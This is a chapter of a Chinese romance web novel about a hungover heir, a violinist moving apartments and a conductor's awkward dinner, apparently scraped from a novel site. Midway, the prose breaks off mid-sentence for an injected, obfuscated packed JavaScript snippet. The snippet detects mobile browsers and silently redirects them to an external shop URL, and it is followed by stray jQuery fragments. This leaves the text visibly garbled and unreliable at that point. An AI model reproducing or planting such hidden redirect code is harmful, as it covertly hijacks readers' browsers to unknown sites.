文趣网 > 其他小说 > 禁忌乐章 > 15. 变奏曲
    程扬睁开眼的时候,视线还是模糊的。

    天花板、吊灯、墙上的装饰画、沙发旁的落地灯……晃晃荡荡,像隔着粼粼的水。

    脑袋里一阵阵地发胀,像塞了厚厚的棉絮。

    宿醉。

    他撑着身子坐起来,手掌抵在跳动的太阳穴,好半天才缓过来。

    记忆被掐断在几个碎片的画面里——酒吧的霓虹、朋友的笑声、熄灭又亮起的手机屏幕、还有整夜整夜的雨声……他等在一栋熟悉的公寓楼下,敲响了房门。

    是安焰。

    程扬记得自己昨晚打车去了她家楼下。

    可是后来呢?

    脑中一片空白。

    程扬忍住胃腹里翻滚的不适,揉了揉发沉的额角。

    敲门声在在这时响了起来。

    “少爷。”

    钟叔端着餐盘走进来,一杯温热的牛奶和刚煎好的鸡蛋卷,细微地冒着热气。

    程扬抬头问他:“钟叔,你知道我昨晚是怎么回来的么?”

    钟叔脚步顿了一下。

    迟疑很短,却没有逃过程扬的眼睛。这位在程家待了大半辈子的老管家一向稳重,可今天的神色明显有些发沉。

    “是大少爷送您回来的。”钟叔回。

    程扬怔住,片刻才蹙眉问了句:“哥?”

    “可是……”他愣了两秒,下意识追问:“他亲自去接的我?”

    去安焰家?

    钟叔把餐盘放在床边的小桌上,说:“昨晚雨大,大少爷亲自带着司机去接的。”

    程扬心里掠过一丝意外。

    池弈那样的人,平日连家宴都懒得多留几分钟,怎么会在暴雨夜开车,去一个陌生女人的家里接他?

    这不像是他能做出来的事。

    可是转念一想,这么多年,无论他惹出什么麻烦,最后来替他收场的人都是池弈。

    酒驾那次是,熊山公路那次是,就连程振业的责难,也常常是池弈替他挡。

    程扬松了口气,对钟叔“哦”了一声,没再多问。

    手机屏幕却在这时亮起来。

    几条未读信息排列整齐,是银行的消息。

    程扬以为自己还没清醒,盯着那两行字,足足愣了三秒。

    “钟叔。”

    程扬把屏幕转向他:“这是怎么回事?”

    钟叔没有避开他的视线,只说:“这是大少爷昨晚吩咐的。他说您这段时间在家里好好休息,按照老太太的意思,卡和信托都先暂停一个月。”

    程扬难以置信,脸色沉下来,“为什么?”

    钟叔缓声道:“大少爷送您回来的时候,脸色不太好,他让我们照顾好您。”

    房间里安静下来。

    程扬握着手机,头一次感到一股茫然。

    他拨通了池弈的电话,耳边响起的却不是电话接通的等待音,而是一片空白。

    他盯着屏幕,喉咙发紧。

    钟叔在一旁轻声道:“大少爷交代过,您什么时候收敛了性子,让老太太满意了,他什么时候见您。”

    语气平稳的转达,没有商量的余地。

    程扬把手机摔回床上,怒意在胸口冲撞,却找不到出口。

    信托和卡被停掉都不要紧,这一刻鬼使神差的,程扬忽然想起了安焰。

    那是不是意味着,这一个月里,他都不能再见到安焰了?

    他抓起手机,点开和她的对话框,聊天内容还停留在一个月以前,安焰问他在哪里。

    【昨晚我吓到你了吗?】

    删掉。

    【那天对不起。】

    删掉。

    【我们谈谈。】

    思忖片刻,程扬点下发送。

    可是下一秒,红色感叹号跳出来,消息发送失败了。

    程扬盯着手机屏幕半晌。

    安焰拉黑了他。

    *

    手机在桌上震了一下。

    安焰收好乐谱点开,发现是玛莎发来的消息。

    【公寓的申请批下来了,今天有空的话,排练完到办公室来签合同哟,爱你。】

    安焰回了个【好】,背上琴盒往行政办公室去。

    玛莎正在煮咖啡,馥郁的香气盈满房间。见到安焰她挺热情,递过笔和合同,还附带了一杯煮好的咖啡。

    安焰在最后一页落下名字,纸张翻动的声音干脆利落,没有丝毫留恋。

    她现在的公寓在布鲁克林的Dumbo,是程扬租给她的。

    五千刀的月租,视野开阔,交通便利,距离排练厅也很近。那时安焰觉得贵,程扬只笑着说:“方便我找你。”

    现在搬出去,是因为以她现在的月薪本来就负担不起。更何况,她不想再给程扬“随时可以找到她”的权利。

    可是曼哈顿的房子都不便宜。

    往往价格合适的通勤太难,位置合适的价格太高。

    好在乐团有青年音乐家的扶持项目,在上西区有一整栋公寓,提供给经济条件一般、但发展潜力不错的年轻音乐家申请入住。

    安焰刚好符合条件。

    “真好。”玛莎把合同收好,笑着看她,“你现在随时可以搬进去。”

    “谢谢你。”

    玛莎摆摆手:“别谢我,这个项目是Veyra传媒的公益,我只是帮你递了个材料。”

    她低头整理合同,随口补了句:“或者等下周排练的时候,你可以亲自谢谢Maestro。”

    “Maestro?”安焰很轻地抬了抬眉。

    玛莎眨眨眼:“你不知道吗?Veyra传媒是Maestro妈妈家族的产业。”

    “是吗?”安焰怔了一瞬,“怎么从来没听谁说过。”

    “Maestro很低调的啊。”

    玛莎一脸八卦的表情,“他很少接受采访,也更少透露家里的事情。我猜大概是天才都不喜欢别人把他的成绩和背景挂钩吧。你知道的,这么年轻就能在乐界有这样的成就,本来就容易被说闲话。”

    安焰点点头,脑中却闪过一道莫名的直觉。

    “那Maestro现在住在哪里,不会也是这栋公寓吧?”

    “……”收好文件的手顿了顿,玛莎露出点被揭露的讪讪,“我不想骗你亲爱的……Maestro现在确实住在公寓顶楼的大平层,那一间一直是他自留的。”

    “不过呢,艺术家的公寓集中在15到30层,上面十多层是正常出租的精品公寓,Maestro的大平层还有自己的专属电梯,你们的见面的机率应该不会很大……的吧?”

    安慰的话都词穷,玛莎越说越心虚,满脸都写着愧疚和对安焰的同情。

    门在身后关上,安焰拿着合同离开了玛莎的办公室。

    电梯的数字一层层往下跳,红色光点闪烁,镜面映出她背着琴盒的影。

    Veyra传媒,顶层大平层,池弈住在那里。

    这些信息在脑中回闪,越来越清晰。

    安焰忽然笑了。

    如果说冥冥之中真的有天意,那么它大概就是此刻的情景。

    “叮——”

    头顶响起到达的提示。

    安焰走出电梯,在外面的阶梯上站了两秒,而后拿出手机,拨出了电话。

    那边等了一会儿才接起电话,池弈“喂”了一声,一如既往地冷淡。

    安焰语气自然,只说:“Maestro,是我。弦乐组的弓法和力度记号我已经整理完了,想请您确认一遍,最好是明天下午排练之前能印发下去。”

    又是一声公事公办的“嗯”,带着十分寻常的利落,身后隐约有和缓的音乐和人声传来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608705|205835||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,安焰猜想,他现在大约是在某个餐厅跟人吃饭。

    果然,池弈回她:“我现在在外面不太方便,晚上确认好了,让助理通知你。”

    “好的,”安焰不动声色地追问,“方便给个时间吗?我等您消息。”

    池弈看了眼腕间的表,淡声回她:“九点左右。”

    “好的。”安焰干脆地挂断了电话。

    “工作电话?”

    餐桌的对面,陈艾莎托着下巴看向池弈,柔和的灯光下她一双明眸,眉眼含笑,有一种生长于聚光灯之下,众星拱月的光彩。

    本以为今天是和池臻一起的小聚,结果到了餐厅,池弈才发现只有自己和陈艾莎。

    母亲抱的什么心思,一目了然。

    可是来都来了,转身就走显然很不礼貌,池弈没跟母亲计较,就当是吃个工作便饭。

    但心里那点情绪过不去,池弈全程维持着该有的态度,有理有节却并不热络。

    他将手机扣在桌面,淡淡应了声:“嗯。”

    陈艾莎倒是不介意,笑着把话题接过去:“新乐团磨合得还顺利吗?”

    “适应不同的乐团风格,是音乐家的本职,”池弈目光平静,“总不能只跟熟悉的团队合作。”

    “也是。”陈艾莎轻轻一笑,倒也没计较池弈的态度,“不过从顶尖的体系走出来,总有一点不习惯吧?会不会在疲惫的时候偶尔觉得后悔?”

    “不会。”

    池弈端起咖啡,语气比刚才更冷,“后悔没有任何意义。”

    陈艾莎手肘支在桌面上,叹着气道:“没想到几年不见,你还是这幅脾气。”

    她笑起来,话题自然地转开:“曼哈顿交响乐团的新一季手册我看了,你们公布的那个临时首席,是我初中同学。”

    端着咖啡杯的手一顿,池弈蹙眉看她:“谁?”

    “就是那个LiaAn,没记错的话,本名是叫安焰对吧?”陈艾莎继续,“我们是七年级到九年级在一个班,她那时在陆海音乐附中就很出名。”

    “出名?”

    池弈不动声色,眉头却蹙得更深。

    “是的呀,”陈艾莎倒也不惜褒奖,“她十岁就拿过亚青赛小提琴组的金奖,陆海音中都是求着她去的。那个时候,我老师就说她是天才型选手,可是后来不知道怎么了,从梅纽因大赛上失利后,就再也没在任何国际大赛上听到过她的消息。”

    “她也参加过梅纽因小提琴大赛?”

    “对,”陈艾莎回忆,“应该是八年级,她十四岁,进了决赛但是发挥失误,我就是那一年拿的冠军。”

    她耸耸肩,语气里还带着点英雄相惜的惋惜:“她那时比我更早被老师看好,结果没想到后来却是我一路比赛、留学,慢慢走出来。”

    池弈没再说什么,话题到此为止。

    这一餐吃得中规中矩,算不上愉快。

    陈艾莎还是个小姑娘的性子,喜欢所有的焦点和谈话都围绕着自己。

    期间她谈起自己的巡演计划、和室内乐团的合作构想,池弈全程只是安静地听着,偶尔搭上一两句,保持着恰到好处的风度。

    最后一道甜品上桌,陈艾莎依然精力充沛,池弈看了眼手表,实在是疲于应对。

    恰巧一条信息进来,是钟叔发来的,他说下午的时候,程扬自己开车从庄园走了,他发了很大的火,几个佣人没敢拦,现在电话也关机了,联系不上他。

    池弈的表情绷紧了一点。

    他想起几天前在安焰的公寓里,看见他烂醉不醒的样子。

    【去这里看看。】

    他发过去安焰的住址,借口对陈艾莎致歉:“乐团突然有紧急事务,抱歉失陪了,我让司机等在外面,用餐结束后他会送你回去。”

    说完示意服务员取来外套,颔首与陈艾莎告别。